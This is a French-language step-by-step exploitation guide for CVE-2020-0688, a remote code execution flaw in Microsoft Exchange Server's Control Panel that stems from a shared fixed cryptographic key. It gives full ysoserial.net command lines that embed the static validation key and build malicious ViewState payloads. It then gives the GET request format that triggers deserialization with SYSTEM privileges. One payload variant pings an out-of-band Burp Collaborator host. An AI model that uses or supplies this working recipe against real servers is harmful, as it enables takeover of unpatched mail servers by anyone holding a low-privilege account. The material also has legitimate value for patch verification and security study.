
[CVE-2020-0688] Exécution de code à distance (RCE) via clé cryptographique fixe sur Microsoft Exchange Server
[CVE-2020-0688] Exécution de code à distance (RCE) sur Microsoft Exchange Server via une clé cryptographique fixe
Au lieu d'utiliser des clés générées aléatoirement pour chaque installation, toutes les installations de Microsoft Exchange Server ont les mêmes valeurs validationKey et decryptionKey dans web.config. Ainsi, un attaquant authentifié peut tromper le serveur pour qu'il désérialise des données ViewState conçues de manière malveillante. Avec l'aide de YSoSerial.net, un attaquant peut exécuter du code .NET arbitraire sur le serveur dans le contexte de l'application web Exchange Control Panel (ECP), qui s'exécute avec les privilèges SYSTEM.
Étape 1 : Visitez l'un des points de terminaison suivants et accédez à la page d'authentification
Étape 2 : Connectez-vous avec des identifiants (peu importe les privilèges du compte utilisateur), puis récupérez les valeurs valides ASP_NET_SessionId et __VIEWSTATEGENERATOR respectivement dans le cookie de la réponse HTTP et dans le corps de la réponse HTTP. Par exemple
Étape 3 : Afin de générer une charge utile (pour vérifier la vulnérabilité), utilisez YSoSerial.net
Notez que si vous avez accès au serveur Exchange victime, vous pouvez utiliser la charge utile suivante qui crée un fichier texte nommé PoC.txt dans le répertoire C:\.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Cependant, si vous n'avez pas accès au serveur, ce qui suit serait peut-être mieux.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Étape 4 : Après l'étape 4, nous aurons une charge utile ViewState encodée en URL. Effectuez une requête GET au point de terminaison ci-dessous au format suivant :
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
L'article de blog original est disponible ici